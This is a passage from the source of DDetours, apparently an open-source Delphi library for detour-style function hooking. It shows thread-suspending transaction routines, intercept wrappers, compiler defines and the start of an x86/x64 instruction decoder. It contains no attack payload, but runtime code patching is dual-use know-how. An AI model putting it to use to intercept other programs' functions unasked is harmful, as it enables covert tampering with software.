suspending them ! } PStruct^.SuspendedThreads^[PStruct^.SuspendedThreadCount] := ID; Inc(PStruct^.SuspendedThreadCount); end; end; Result := True; end; function BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle; var PStruct: PTransactionStruct; ThreadCount: Integer; P: Pointer; ThreadHandle: THandle; begin EnterLook(FLock); try ThreadHandle := GetCurrentThread(); PStruct := GetMemory(SizeOf(TTransactionStruct)); FillChar(PStruct^, SizeOf(TTransactionStruct), #00); PStruct^.Options := Options; PStruct^.PID := GetCurrentProcessId(); PStruct^.TID := GetCurrentThreadId(); PStruct^.ThreadPriority := GetThreadPriority(ThreadHandle); SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL); Result := THandle(PStruct); if toSuspendThread in Options then begin ThreadCount := 0; EnumProcessThreads(PStruct^.PID, @CountThreadCallBack, @ThreadCount); if ThreadCount > 1 then begin P := GetMemory(ThreadCount * 2 * SizeOf(DWORD)); PStruct^.SuspendedThreads := P; EnumProcessThreads(PStruct^.PID, @SuspendThreadCallBack, PStruct); end; end; finally LeaveLook(FLock); end; end; function EndTransaction(Handle: THandle): Boolean; var PStruct: PTransactionStruct; i: Integer; begin EnterLook(FLock); Result := True; PStruct := PTransactionStruct(Handle); try if PStruct^.SuspendedThreadCount > 0 then begin for i := 0 to PStruct^.SuspendedThreadCount - 1 do begin SuspendOrResumeThread(PStruct^.SuspendedThreads^[i], False); end; FreeMemory(PStruct^.SuspendedThreads); end; SetThreadPriority(GetCurrentThread(), PStruct^.ThreadPriority); FreeMemory(PTransactionStruct(Handle)); finally LeaveLook(FLock); end; end; {$IFDEF SUPPORTS_GENERICS} { TIntercept<T,U> } function TIntercept<T, U>.TToPointer(const A): Pointer; begin Result := Pointer(A); end; function TIntercept<T, U>.PointerToT(const P): T; begin Result := T(P); end; function TIntercept<T, U>.EnsureTIsMethod(): Boolean; var LPInfo: PTypeInfo; begin Result := SizeOf(T) = SizeOf(Pointer); if Result then begin LPInfo := TypeInfo(T); if LPInfo.Kind = tkProcedure then Exit else raise DetourException.Create(SErrorInvalidTType); end; end; constructor TIntercept<T, U>.Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); begin EnsureTIsMethod(); FCreatorThreadId := GetCurrentThreadId(); FInterceptOptions := AInterceptOptions; FParam := AParam; FTrampolinePtr := InterceptCreate(TToPointer(TargetProc), TToPointer(InterceptProc), @FParam, AInterceptOptions); FNextHook := PointerToT(FTrampolinePtr); end; function TIntercept<T, U>.GetTrampoline(): T; begin Result := FNextHook; end; function TIntercept<T, U>.GetParam(): U; begin Result := FParam; end; function TIntercept<T, U>.GetCreatorThreadId(): TThreadId; begin Result := FCreatorThreadId; end; function TIntercept<T, U>.GetInterceptOptions(): TInterceptOptions; begin Result := FInterceptOptions; end; function TIntercept<T, U>.EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean; begin Result := EnterRecursiveSection(FTrampolinePtr, MaxRecursionLevel); end; function TIntercept<T, U>.ExitRecursive(): Boolean; begin Result := ExitRecursiveSection(FTrampolinePtr); end; destructor TIntercept<T, U>.Destroy(); begin InterceptRemove(TToPointer(FNextHook)); inherited; end; { TIntercept<T> } constructor TIntercept<T>.Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); begin inherited Create(TargetProc, InterceptProc, AParam, InterceptOptions); end; {$ENDIF SUPPORTS_GENERICS} { ======================================= Initialization ======================================= } procedure InitInternalFuncs(); function CloneFunc(Func: PByte): PByte; var mb, ns, Sb, fn: Byte; P: PByte; Inst: TInstruction; begin Sb := 0; Func := GetRoot(Func); Result := VirtualAlloc(nil, 64, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); P := Result; mb := JmpTypeToSize[JT_RIPZ]; FillChar(Inst, SizeOf(TInstruction), #00); Inst.Archi := CPUX; Inst.NextInst := Func; while Sb <= mb do begin Inst.Addr := Inst.NextInst; ns := fDecodeInst(@Inst); Inc(Sb, ns); end; fn := MapInsts(Func, P, Sb); Inc(P, fn); {$IFDEF CPUX64} InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_RIPZ); {$ELSE !CPUX64} InsertJmp(P, PByte(NativeInt(Func) + Sb), JT_REL32); {$ENDIF CPUX64} end; begin {$IFDEF HOOK_INTERNAL_FUNCTIONS} @InternalFuncs.VirtualAlloc := CloneFunc(@VirtualAlloc); @InternalFuncs.VirtualFree := CloneFunc(@VirtualFree); @InternalFuncs.VirtualProtect := CloneFunc(@VirtualProtect); @InternalFuncs.VirtualQuery := CloneFunc(@VirtualQuery); @InternalFuncs.FlushInstructionCache := CloneFunc(@FlushInstructionCache); @InternalFuncs.GetCurrentProcess := CloneFunc(@GetCurrentProcess); {$ELSE !HOOK_INTERNAL_FUNCTIONS} @InternalFuncs.VirtualAlloc := @VirtualAlloc; @InternalFuncs.VirtualFree := @VirtualFree; @InternalFuncs.VirtualProtect := @VirtualProtect; @InternalFuncs.VirtualQuery := @VirtualQuery; @InternalFuncs.FlushInstructionCache := @FlushInstructionCache; @InternalFuncs.GetCurrentProcess := @GetCurrentProcess; {$ENDIF HOOK_INTERNAL_FUNCTIONS} end; procedure FreeInternalFuncs; begin {$IFDEF HOOK_INTERNAL_FUNCTIONS} InternalFuncs.VirtualFree(@InternalFuncs.VirtualAlloc, 0, MEM_RELEASE); InternalFuncs.VirtualFree(@InternalFuncs.VirtualProtect, 0, MEM_RELEASE); InternalFuncs.VirtualFree(@InternalFuncs.VirtualQuery, 0, MEM_RELEASE); InternalFuncs.VirtualFree(@InternalFuncs.FlushInstructionCache, 0, MEM_RELEASE); InternalFuncs.VirtualFree(@InternalFuncs.GetCurrentProcess, 0, MEM_RELEASE); // VirtualFree must be the last one ! InternalFuncs.VirtualFree(@InternalFuncs.VirtualFree, 0, MEM_RELEASE); {$ENDIF HOOK_INTERNAL_FUNCTIONS} end; initialization {$IFDEF SUPPORTS_MONITOR} FLock := TObject.Create(); {$ELSE SUPPORTS_MONITOR} FLock := TCriticalSection.Create(); {$ENDIF SUPPORTS_MONITOR} GetSystemInfo(SysInfo); SizeOfAlloc := SysInfo.dwPageSize; if SizeOfAlloc < (TmpSize + TrampoSize + 64) then SizeOfAlloc := (TmpSize + TrampoSize + 64); {$IFDEF FPC} OpenThread := nil; {$ELSE !FPC} @OpenThread := nil; {$ENDIF !FPC} FreeKernel := False; hKernel := GetModuleHandle(kernel32); if hKernel <= 0 then begin hKernel := LoadLibrary(kernel32); FreeKernel := (hKernel > 0); end; if hKernel > 0 then begin {$IFDEF FPC} @OpenThread := GetProcAddress(hKernel, 'OpenThread'); @CreateToolhelp32Snapshot := GetProcAddress(hKernel, 'CreateToolhelp32Snapshot'); @Thread32First := GetProcAddress(hKernel, 'Thread32First'); @Thread32Next := GetProcAddress(hKernel, 'Thread32Next'); {$ELSE !FPC} @OpenThread := GetProcAddress(hKernel, 'OpenThread'); {$ENDIF !FPC} end; { The OpenThread function does not exist on OS version < Win XP } OpenThreadExist := (@OpenThread <> nil); InitInternalFuncs(); finalization if (FreeKernel) and (hKernel > 0) then FreeLibrary(hKernel); FreeInternalFuncs(); if Assigned(FLock) then FreeAndNil(FLock); end. ================================================ FILE: Detour Hooking/Source/DDetoursDefs.inc ================================================ {.$DEFINE HOOK_INTERNAL_FUNCTIONS} // hook internal functions. {$IFDEF FPC} {$ASMMODE INTEL} {$ELSE !FPC} {$T-} {$IF CompilerVersion >= 17.0} {$DEFINE DELPHI_2005_UP} {$IFEND} {$IF CompilerVersion >= 18.5} {$DEFINE DELPHI_2007_UP} {$IFEND} {$IF CompilerVersion >= 20} {$DEFINE DELPHI_2009_UP} {$IFEND} {$IF CompilerVersion >= 21} {$DEFINE DELPHI_2010_UP} {$IFEND} {$IF CompilerVersion >= 22} {$DEFINE DELPHI_XE_UP} {$IFEND} {$IF CompilerVersion >= 23} {$DEFINE DELPHI_XE2_UP} {$IFEND} {$IF CompilerVersion >= 33} {$DEFINE DELPHI_RIO_UP} {$IFEND} {$IFDEF DELPHI_2005_UP} {$DEFINE SUPPORTS_INLINE} {$ENDIF} {$IFDEF DELPHI_XE2_UP} {$DEFINE SUPPORTS_RTTI} {$DEFINE SUPPORTS_GENERICS} {$DEFINE RENAMED_NAMESPACE} {$ENDIF} {$ENDIF FPC} ================================================ FILE: Detour Hooking/Source/InstDecode.pas ================================================ // ************************************************************************************************** // x86 Instruction Decode Library // Unit InstDecode // https://github.com/MahdiSafsafi/DDetours // // This Source Code Form is subject to the terms of the Mozilla // Public License, v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at // https://mozilla.org/MPL/2.0/. // ************************************************************************************************** { ===============================> CHANGE LOG <====================================================== ==> Jun, 7, 2020: +Added support for older Delphi version (D7+). +Added support for FPC. +Fixed some bug related to displacement. ==> Dec 27,2014 , Mahdi Safsafi : +BugFix : IN/INS/OUT/OUTS instructions decoding. +BugFix : MOV with offset instructions decoding. ==> Version 2: +Updated opcodes map . +Added support to three byte escape Table +Added support to vex decoding (vex three & two byte). +Added support to groups opcodes instructions. +Added support to decode invalid opcode . +Added support to 16-bits ModRm . +Added support to handling errors. +Added support for mandatory prefixes. +Improve Decoding Process .=> Very faster than the old one ! +Reduce memory usage . +Removing inused fields. +Better support for REX prefix. +Reduce OpCodesTable data size (the old : 8670 bytes => the new one : 1020 bytes !) +BugFix : FPU instructions length. +BugFix : Instructions that use two immediat . +BugFix : Invalid instructions . +BugFix : Invalid instructions for some mandatory prefixes. +Many Bug Fix. ====================================================================================================== } unit InstDecode; {$IFDEF FPC} {$MODE DELPHI} {$HINTS OFF} {$WARN 4056 OFF} {$WARN 4082 OFF} {$ENDIF FPC} interface {$I DDetoursDefs.inc} uses SysUtils, LegacyTypes; const { CPUX } CPUX32 = $00; { x86-32 } CPUX64 = $01; { x86-64 } CPUX = {$IFDEF CPUX64}CPUX64 {$ELSE}CPUX32 {$ENDIF}; { Address Mode } am16 = $01; { 16-bit addressing mode } am32 = $02; { 32-bit addressing mode } am64 = $03; { 64-bit addressing mode } { Default Addressing Mode Depending on CPUX (32/64)bit } DefAddressMode: array [0 .. 1] of Byte = (am32, am64); { Used to select Addressing Mode when Address Mode Prefix is used ! } AddressMode: array [0 .. 1] of Byte = (am16, am32); { Tables } tbOneByte = $01; { One Byte OpCodes Table } tbTwoByte = $02; { Two Byte OpCodes Table } tbThreeByte = $03; { Three Byte OpCodes Table } tbFPU = $04; { FPU OpCodes Table } { Prefixs } Prf_Seg_CS = $01; Prf_Seg_DS = $02; Prf_Seg_ES = $04; Prf_Seg_GS = $08; Prf_Seg_FS = $10; Prf_Seg_SS = $20; Prf_OpSize = $40; Prf_AddrSize = $80; Prf_Lock = $100; Prf_Repe = $200; Prf_Repne = $400; Prf_Rex = $800; Prf_VEX = $1000; Prf_Vex2 = Prf_VEX or $2000; Prf_Vex3 = Prf_VEX or $4000; { Segment Registers } Seg_CS = $01; Seg_DS = $02; Seg_ES = $03; Seg_GS = $04; Seg_FS = $05; Seg_SS = $06; { OpSize } ops8bits = $01; ops16bits = $02; ops32bits = $04; ops48bits = $06; ops64bits = $08; ops128bits = $10; ops256bits = $20; ops512bits = $40; { OpType } otNone = $00; otRET = $01; { RET Instruction } otCALL = $02; { CALL Instruction } otJMP = $04; { JMP Instruction } otJ = $08; otJcc = $10; { Conditional JUMP Instruction } { OpKind } kGrp = $01; // kFPU = $02; Use OpTable ! { Options } DecodeVex = $01; { ModRm Flags } mfUsed = $80; { ModRm Used } { Sib Flags } sfUsed = $01; { Sib Used } { Displacement Flags } dfUsed = $01; { Disp Used } dfRip = $02; { RIP Disp } dfSigned = $04; { Displacement can be signed ! } dfDispOnly = $08; { Displacement Only without registers ! } dfOffset = $10; { Offset coded after the opcode. } { Immediat Flags } imfUsed = $01; { Imm Used } { Branch Flags } bfUsed = $01; { JUMP/CALL Used } bfRel = $02; { Relative Branch } bfAbs = $04; { Absolute Branch } bfIndirect = $08; { Indirect Branch } bfReg = $10; bfFar = bfAbs or $20; { Far Branch } bfRip = $40; { Operand Flags } opdD64 = $01; opdF64 = $02; opdDf64 = $03; opdDv64 = $04; { Options } UseVA = $01; { General Purpose Registers } rEAX = $00; rECX = $01; rEDX = $02; rEBX = $03; rESP = $04; rEBP = $05; rESI = $06; rEDI = $07; { Error } NO_ERROR = $00; INVALID_CPUX = $01; INVALID_ADDRESS = $02; INVALID_INSTRUCTION_LENGTH = $04; ERROR_DISP_SIZE = $08; ERROR_IMM_SIZE = $10; ERROR_VEX_ESCAPE = $20; INVALID_GROUP_OPCODE = $40; UnknownErrorStr = 'Unknown Error'; InstErrorsStr: array [0 .. 7] of String = ( { NO_ERROR } 'No error', { INVALID_CPUX } 'Invalid cpux', { INVALID_ADDRESS } 'Invalid address', { INVALID_INSTRUCTION_LENGTH } 'Invalid instruction length', { ERROR_DISP_SIZE } 'Invalid displacement size', { ERROR_IMM_SIZE } 'Invalid immediat size', { ERROR_VEX_ESCAPE } 'Invalid vex mmmmm field', { INVALID_GROUP_OPCODE } 'Invalid group opcode'); _vex3_ = $03; _opcode_ = $01; _modrm_ = $01; _sib_ = $01; _disp32_ = $04; _imm32_ = $04; _imm64_ = $08; { Intel define instruction length as a 15 bytes ! However , it's possible to incode instructions that exceed the defined length ! } MAX_INST_LENGTH_X32 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm32_; MAX_INST_LENGTH_X64 = _vex3_ + _opcode_ + _modrm_ + _sib_ + _disp32_ + _imm64_; CPUX_TO_INST_LENGTH: array [0 .. 1] of ShortInt = (MAX_INST_LENGTH_X32, MAX_INST_LENGTH_X64); {$IFDEF CPUX64} MAX_INST_LENGTH_N = MAX_INST_LENGTH_X64; {$ELSE !CPUX64} MAX_INST_LENGTH_N = MAX_INST_LENGTH_X32; {$ENDIF CPUX64} var { Raise Exception When Error Occurs ! } RaiseExceptionOnError: Boolean = True; type InstException = class(Exception); TModRM = record iMod: Byte; { ModRm.Mod Field } Reg: Byte; { ModRm.Reg Field } Rm: Byte; { ModRm.Rm Field } Value: Byte; { ModRm Value } { ModRm.Flags => See ModRmFlagsTable.inc } Flags: Byte; end; PModRM = ^TModRM; LPModRM = PModRM; TSib = record Scale: Byte; { SIB.Scale Field } Index: Byte; { Register Index } Base: Byte; { Register Base } Value: Byte; { SIB Value } Flags: Byte; { SIB Flags } end; PSib = ^TSib; LPSib = PSib; TImmediat = record Size: Byte; { Size of Immediat => opsxxxbits } Value: Int64; { Immediat Value } Flags: Byte; { Sets of imfxxx } end; PImmediat = ^TImmediat; TDisplacement = record Size: Byte; { Size of Displacement => opsxxxbits } Value: Int64; { Displacement Value } Flags: Byte; { Sets of dfxxx } end; PDisplacement = ^TDisplacement; TBranch = record Size: Byte; Value: Int64; Target: PByte; { Destination Address } Falgs: Byte; { Sets of bfxxx } end; PBranch = ^TBranch; TRex = record R: Boolean; { REX.R Field } X: Boolean; { REX.X Field } B: Boolean; { REX.B Field } W: Boolean; { REX.W Field } Value: Byte; { REX Value = [$40..$4F] } end; PRex = ^TRex; TVex = record { ==================> N.B <================== 1 => ALL FIELD ARE IN NO INVERTED FORM ! 2 => VEX.[R,X,B & W] ARE ACCESSIBLE THROUGH REX FIELD ! } vvvv: Byte; { VEX.vvvv ==> Vector Register } L: Boolean; { VEX.L ==> You should use VL instead ! } PP: Byte; { VEX.PP ==> Implied Mandatory Prefixes } mmmmm: Byte; { VEX.mmmmm ==> Implied Escape } VL: Byte; { Vector Length } end; PVex = ^TVex; TInternalData = record MndPrf: Byte; { Mandatory Prefix } zOpSize: Byte; { word or dword depending on opsize prefix ! } vOpSize: Byte; { word or dword or qword depending on opsize & REX prefix ! } end; PInternalData = ^TInternalData; TInstruction = record Archi: Byte; { CPUX32 or CPUX64 ! } AddrMode: Byte; { Address Mode } Addr: PByte; VirtualAddr: PByte; NextInst: PByte; { Pointer to the Next Instruction } OpCode: Byte; { OpCode Value } OpType: Byte; OpKind: Byte; OpTable: Byte; { tbOneByte,tbTwoByte,... } OperandFlags: Byte; Prefixes: Word; { Sets of Prf_xxx } ModRm: TModRM; Sib: TSib; Disp: TDisplacement; Imm: TImmediat; { Primary Immediat } ImmEx: TImmediat; { Secondary Immediat if used ! } Branch: TBranch; { JMP & CALL } SegReg: Byte; { Segment Register } Rex: TRex; Vex: TVex; LID: TInternalData; { Internal Data } Errors: Byte; InstSize: Integer; Options: Byte; UserTag: NativeInt; end; PInstruction = ^TInstruction; TDecoderProc = procedure(PInst: PInstruction); function DecodeInst(PInst: PInstruction): Integer; { Useful ModRm Routines } function GetModRm_Mod(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} function GetModRm_Reg(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} function GetModRm_Rm(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} { Useful Sib Routines } function GetSib_Base(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} function GetSib_Index(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} function GetSib_Scale(const Value: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} function IsSibBaseRegValid(PInst: PInstruction): Boolean; {$IFDEF MustInline}inline; {$ENDIF} implementation {$I OpCodesTables.inc} {$I ModRmFlagsTables.inc} { ================================== 00 ================================== } procedure Decode_InvalidOpCode(PInst: PInstruction); forward; { ================================== 01 ================================== } procedure Decode_NA_ModRm(PInst: PInstruction); forward; { ================================== 02 ================================== } procedure Decode_NA_Ib(PInst: PInstruction); forward; { ================================== 03 ================================== } procedure Decode_NA_Iz(PInst: PInstruction); forward; { ================================== 04 ================================== } procedure Decode_NA_I64(PInst: PInstruction); forward; { ================================== 05 ================================== } procedure Decode_Escape_2_Byte(PInst: PInstruction); forward; { ================================== 06 ================================== } procedure Decode_ES_Prefix(PInst: PInstruction); forward; { ================================== 07 ================================== } procedure Decode_CS_Prefix(PInst: PInstruction); forward; { ================================== 08 ================================== } procedure Decode_SS_Prefix(PInst: PInstruction); forward; { ================================== 09 ================================== } procedure Decode_DS_Prefix(PInst: PInstruction); forward; { ================================== 10 ================================== } procedure Decode_REX_Prefix(PInst: PInstruction); forward; { ================================== 11 ================================== } procedure Decode_NA_D64(PInst: PInstruction); forward; { ================================== 12 ================================== } procedure Decode_NA_ModRm_I64(PInst: PInstruction); forward; { ================================== 13 ================================== } procedure Decode_FS_Prefix(PInst: PInstruction); forward; { ================================== 14 ================================== } procedure Decode_GS_Prefix(PInst: PInstruction); forward; { ================================== 15 ================================== } procedure Decode_OPSIZE_Prefix(PInst: PInstruction); forward; { ================================== 16 ================================== } procedure Decode_ADSIZE_Prefix(PInst: PInstruction); forward; { ================================== 17 ================================== } procedure Decode_NA_Iz_D64(PInst: PInstruction); forward; { ================================== 18 ================================== } procedure Decode_NA_ModRm_Iz(PInst: PInstruction); forward; { ================================== 19 ================================== } procedure Decode_NA_Ib_D64(PInst: PInstruction); forward; { ================================== 20 ================================== } procedure Decode_NA_ModRm_Ib(PInst: PInstruction); forward; { ================================== 21 ================================== } procedure Decode_NA(PInst: PInstruction); forward; { ================================== 22 ================================== } procedure Decode_NA_Jb_Df64(PInst: PInstruction); forward; { ================================== 23 ================================== } procedure Decode_Group_1(PInst: PInstruction); forward; { ================================== 24 ================================== } procedure Decode_Group_1A(PInst: PInstruction); forward; { ================================== 25 ================================== } procedure Decode_NA_CALL_Ap_I64(PInst: PInstruction); forward; { ================================== 26 ================================== } procedure Decode_NA_OfstV(PInst: PInstruction); forward; { ================================== 27 ================================== } procedure Decode_NA_Iv(PInst: PInstruction); forward; { ================================== 28 ================================== } procedure Decode_Group_2(PInst: PInstruction); forward; { ================================== 29 ================================== } procedure Decode_NA_RET_Iw_Df64(PInst: PInstruction); forward; { ================================== 30 ================================== } procedure Decode_NA_RET_Df64(PInst: PInstruction); forward; { ================================== 31 ================================== } procedure Decode_VEX3_Prefix(PInst: PInstruction); forward; { ================================== 32 ================================== } procedure Decode_VEX2_Prefix(PInst: PInstruction); forward; { ================================== 33 ================================== } procedure Decode_Group_11(PInst: PInstruction); forward; { ================================== 34 ================================== } procedure Decode_NA_Iw_Ib_D64(PInst: PInstruction); forward; { ================================== 35 ================================== } procedure Decode_NA_RET_Iw(PInst: PInstruction); forward; { ================================== 36 ================================== } procedure Decode_NA_RET(PInst: PInstruction); forward; { ================================== 37 ================================== } procedure Decode_NA_Ib_I64(PInst: PInstruction); forward; { ================================== 38 ================================== } procedure Decode_Escape_FPU_D8(PInst: PInstruction); forward; { ================================== 39 ================================== } procedure Decode_Escape_FPU_D9(PInst: PInstruction); forward; { ================================== 40 ================================== } procedure Decode_Escape_FPU_DA(PInst: PInstruction); forward; { ================================== 41 ================================== } procedure Decode_Escape_FPU_DB(PInst: PInstruction); forward; { ================================== 42 ================================== } procedure Decode_Escape_FPU_DC(PInst: PInstruction); forward; { ================================== 43 ================================== } procedure Decode_Escape_FPU_DD(PInst: PInstruction); forward; { ================================== 44 ================================== } procedure Decode_Escape_FPU_DE(PInst: PInstruction); forward; { ================================== 45 ================================== } procedure Decode_Escape_FPU_DF(PInst: PInstruction); forward; { ================================== 46 ================================== } procedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction); forward; { ================================== 47 ================================== } procedure Decode_NA_JMP_Jz_Df64(PInst: PInstruction); forward; { ================================== 48 ================================== } procedure Decode_NA_JMP_Ap_I64(PInst: PInstruction); forward; { ================================== 49 ================================== } procedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction); forward; { ================================== 50 ================================== } procedure Decode_LOCK_Prefix(PInst: PInstruction); forward; { ================================== 51 ================================== } procedure Decode_REPNE_Prefix(PInst: PInstruction); forward; { ================================== 52 ================================== } procedure Decode_REPE_Prefix(PInst: PInstruction); forward; { ================================== 53 ================================== } procedure Decode_Group_3(PInst: PInstruction); forward; { ================================== 54 ================================== } procedure Decode_Group_4_INC_DEC(PInst: PInstruction); forward; { ================================== 55 ================================== } procedure Decode_Group_5_INC_DEC(PInst: PInstruction); forward; { ================================== 56 ================================== } procedure Decode_Group_6(PInst: PInstruction); forward; { ================================== 57 ================================== } procedure Decode_Group_7(PInst: PInstruction); forward; { ================================== 58 ================================== } procedure Decode_NA_CALL(PInst: PInstruction); forward; { ================================== 59 ================================== } procedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction); forward; { ================================== 60 ================================== } procedure Decode_NA_66_ModRm(PInst: PInstruction); forward; { ================================== 61 ================================== } procedure Decode_NA_66_F3_ModRm(PInst: PInstruction); forward; { ================================== 62 ================================== } procedure Decode_Group_16(PInst: PInstruction); forward; { ================================== 63 ================================== } procedure Decode_NA_ModRm_F64(PInst: PInstruction); forward; { ================================== 64 ================================== } procedure Decode_Escape_3_Byte(PInst: PInstruction); forward; { ================================== 65 ================================== } procedure Decode_NA_F3_ModRm(PInst: PInstruction); forward; { ================================== 66 ================================== } procedure Decode_66_ModRm(PInst: PInstruction); forward; { ================================== 67 ================================== } procedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction); forward; { ================================== 68 ================================== } procedure Decode_Group_12(PInst: PInstruction); forward; { ================================== 69 ================================== } procedure Decode_Group_13(PInst: PInstruction); forward; { ================================== 70 ================================== } procedure Decode_Group_14(PInst: PInstruction); forward; { ================================== 71 ================================== } procedure Decode_66_F2_ModRm(PInst: PInstruction); forward; { ================================== 72 ================================== } procedure Decode_NA_Jz_Df64(PInst: PInstruction); forward; { ================================== 73 ================================== } procedure Decode_Group_15(PInst: PInstruction); forward; { ================================== 74 ================================== } procedure Decode_F3_ModRm(PInst: PInstruction); forward; { ================================== 75 ================================== } procedure Decode_Group_10_UD2(PInst: PInstruction); forward; { ================================== 76 ================================== } procedure Decode_Group_8(PInst: PInstruction); forward; { ================================== 77 ================================== } procedure Decode_NA_66_ModRm_Ib(PInst: PInstruction); forward; { ================================== 78 ================================== } procedure Decode_Group_9(PInst: PInstruction); forward; { ================================== 79 ================================== } procedure Decode_66_F2_F3_ModRm(PInst: PInstruction); forward; { ================================== 80 ================================== } procedure Decode_F2_ModRm(PInst: PInstruction); forward; { ================================== 81 ================================== } procedure Decode_SP_T38_F0_F7(PInst: PInstruction); forward; { ================================== 82 ================================== } procedure Decode_66_ModRm_Ib(PInst: PInstruction); forward; { ================================== 83 ================================== } procedure Decode_F2_ModRm_Ib(PInst: PInstruction); forward; procedure JumpError(PInst: PInstruction); forward; procedure JumpToTableTwoByte(PInst: PInstruction); forward; procedure JumpToTableThreeByte_38(PInst: PInstruction); forward; procedure JumpToTableThreeByte_3A(PInst: PInstruction); forward; procedure Decode_CALL_ModRm(PInst: PInstruction); forward; procedure Decode_JMP_ModRm(PInst: PInstruction); forward; procedure Decode_CALL_Mp(PInst: PInstruction); forward; procedure Decode_JMP_Mp(PInst: PInstruction); forward; const { Convert PP To Mandatory Prefixes ! } PPToMndPrf: array [0 .. 3] of Byte = ($00, $66, $F3, $F2); { Convert LL To OpSize ! } LLToOpSize: array [0 .. 3] of Word = (ops128bits, ops256bits, ops512bits, 0); { Call escaping procedure ! } mmmmmToEscProc: array [0 .. 4] of TDecoderProc = ( // JumpError, { } JumpToTableTwoByte, { 00001: implied 0F leading opcode byte } JumpToTableThreeByte_38, { 00010: implied 0F 38 leading opcode bytes } JumpToTableThreeByte_3A, { 00011: implied 0F 3A leading opcode bytes } JumpError { } ); DecoderProcTable: array [0 .. $54 - 1] of TDecoderProc = ( // { 00 } Decode_InvalidOpCode, { 01 } Decode_NA_ModRm, { 02 } Decode_NA_Ib, { 03 } Decode_NA_Iz, { 04 } Decode_NA_I64, { 05 } Decode_Escape_2_Byte, { 06 } Decode_ES_Prefix, { 07 } Decode_CS_Prefix, { 08 } Decode_SS_Prefix, { 09 } Decode_DS_Prefix, { 10 } Decode_REX_Prefix, { 11 } Decode_NA_D64, { 12 } Decode_NA_ModRm_I64, { 13 } Decode_FS_Prefix, { 14 } Decode_GS_Prefix, { 15 } Decode_OPSIZE_Prefix, { 16 } Decode_ADSIZE_Prefix, { 17 } Decode_NA_Iz_D64, { 18 } Decode_NA_ModRm_Iz, { 19 } Decode_NA_Ib_D64, { 20 } Decode_NA_ModRm_Ib, { 21 } Decode_NA, { 22 } Decode_NA_Jb_Df64, { 23 } Decode_Group_1, { 24 } Decode_Group_1A, { 25 } Decode_NA_CALL_Ap_I64, { 26 } Decode_NA_OfstV, { 27 } Decode_NA_Iv, { 28 } Decode_Group_2, { 29 } Decode_NA_RET_Iw_Df64, { 30 } Decode_NA_RET_Df64, { 31 } Decode_VEX3_Prefix, { 32 } Decode_VEX2_Prefix, { 33 } Decode_Group_11, { 34 } Decode_NA_Iw_Ib_D64, { 35 } Decode_NA_RET_Iw, { 36 } Decode_NA_RET, { 37 } Decode_NA_Ib_I64, { 38 } Decode_Escape_FPU_D8, { 39 } Decode_Escape_FPU_D9, { 40 } Decode_Escape_FPU_DA, { 41 } Decode_Escape_FPU_DB, { 42 } Decode_Escape_FPU_DC, { 43 } Decode_Escape_FPU_DD, { 44 } Decode_Escape_FPU_DE, { 45 } Decode_Escape_FPU_DF, { 46 } Decode_NA_CALL_Jz_Df64, { 47 } Decode_NA_JMP_Jz_Df64, { 48 } Decode_NA_JMP_Ap_I64, { 49 } Decode_NA_JMP_Jb_Df64, { 50 } Decode_LOCK_Prefix, { 51 } Decode_REPNE_Prefix, { 52 } Decode_REPE_Prefix, { 53 } Decode_Group_3, { 54 } Decode_Group_4_INC_DEC, { 55 } Decode_Group_5_INC_DEC, { 56 } Decode_Group_6, { 57 } Decode_Group_7, { 58 } Decode_NA_CALL, { 59 } Decode_NA_66_F2_F3_ModRm, { 60 } Decode_NA_66_ModRm, { 61 } Decode_NA_66_F3_ModRm, { 62 } Decode_Group_16, { 63 } Decode_NA_ModRm_F64, { 64 } Decode_Escape_3_Byte, { 65 } Decode_NA_F3_ModRm, { 66 } Decode_66_ModRm, { 67 } Decode_NA_66_F2_F3_ModRm_Ib, { 68 } Decode_Group_12, { 69 } Decode_Group_13, { 70 } Decode_Group_14, { 71 } Decode_66_F2_ModRm, { 72 } Decode_NA_Jz_Df64, { 73 } Decode_Group_15, { 74 } Decode_F3_ModRm, { 75 } Decode_Group_10_UD2, { 76 } Decode_Group_8, { 77 } Decode_NA_66_ModRm_Ib, { 78 } Decode_Group_9, { 79 } Decode_66_F2_F3_ModRm, { 80 } Decode_F2_ModRm, { 81 } Decode_SP_T38_F0_F7, { 82 } Decode_66_ModRm_Ib, { 83 } Decode_F2_ModRm_Ib); { .$REGION 'COMMON' } { ========================== COMMON =============================== } procedure SetInstError(PInst: PInstruction; Error: Byte); var ErrStr: String; begin ErrStr := EmptyStr; if Error = NO_ERROR then begin { Clear Errors ! } PInst^.Errors := NO_ERROR; Exit; end; PInst^.Errors := PInst^.Errors or Error; if RaiseExceptionOnError then begin if (Error > 0) and (Error < Length(InstErrorsStr)) then ErrStr := InstErrorsStr[Error] else ErrStr := UnknownErrorStr; raise InstException.Create(Format('Error %d : %s.', [Error, ErrStr])); end; end; function GetModRm_Mod(const Value: Byte): Byte; begin Result := Value shr 6; end; function GetModRm_Reg(const Value: Byte): Byte; begin Result := (Value and $38) shr $03; end; function GetModRm_Rm(const Value: Byte): Byte; begin Result := Value and 7; end; function GetSib_Base(const Value: Byte): Byte; begin Result := Value and 7; end; function GetSib_Index(const Value: Byte): Byte; begin Result := (Value and $38) shr $03; end; function GetSib_Scale(const Value: Byte): Byte; begin Result := (1 shl (Value shr 6)); end; function IsSibBaseRegValid(PInst: PInstruction): Boolean; begin Result := True; if PInst^.Sib.Flags and sfUsed <> 0 then Result := 